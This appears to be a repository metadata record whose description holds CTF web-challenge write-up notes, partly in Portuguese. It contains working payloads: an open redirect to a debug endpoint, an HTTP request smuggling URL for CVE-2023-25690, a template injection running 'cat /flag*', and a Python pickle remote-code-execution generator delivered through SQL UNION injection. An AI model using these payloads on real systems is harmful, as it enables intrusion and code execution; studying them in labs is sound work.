{"id":22976561,"url":"https://github.com/ggontijo/ctf-s","last_synced_at":"2026-01-16T00:27:00.396Z","repository":{"id":138651730,"uuid":"372347004","full_name":"GGontijo/CTF-s","owner":"GGontijo","description":"Some writeups and codes that I made along my CTF plays. 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Precisa ser zero para o payload passar\n    --form 'amount=\"1337\"' #\n    ```\n\n### Saturn:\n- SSRF (Server Side Request Forgery)\n\n### ProxyAsAService:\n- Open Redirect Attack\n    ```\n    http://94.237.60.170:33195/?url=@0.0.0.0:1337/debug/environment\n    ```\n\n### ApacheBlaze:\n- HTTP Request Smuggling Attack (CVE-2023–25690)\n    ```\n    http://94.237.48.205:56566/api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/\n    ```\n    https://github.com/dhmosfunk/CVE-2023-25690-POC/tree/main#internal-http-request-smuggling-via-header-injection\n\n### RenderQuest:\n- https://webhook.site/ -\u003e Injection content {{.FetchServerInfo \"cat /flag*\"}} \n\n### C.O.P:\n- Pickle Remote Code Execution\n    ```\n    import pickle\n    import base64\n    import os\n\n    payload = 'cp flag.txt application/static/.' # Payload\n\n    class RCE:\n        def __reduce__(self):\n            return os.system, (payload,)\n\n    if __name__ == '__main__':\n        print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))\n    ```\n    ```\n    Injetar payload:\n    \n    GET http://94.237.49.121:31295/view/' UNION SELECT 'gASVOwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCBjcCBmbGFnLnR4dCBhcHBsaWNhdGlvbi9zdGF0aWMvLpSFlFKULg==\n    ```\n\n    Recuperar flag:\n    ```\n    GET http://94.237.49.121:31295/static/flag.txt\n    ```\n\n### EasterBunny:\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fggontijo%2Fctf-s","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fggontijo%2Fctf-s","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fggontijo%2Fctf-s/lists"}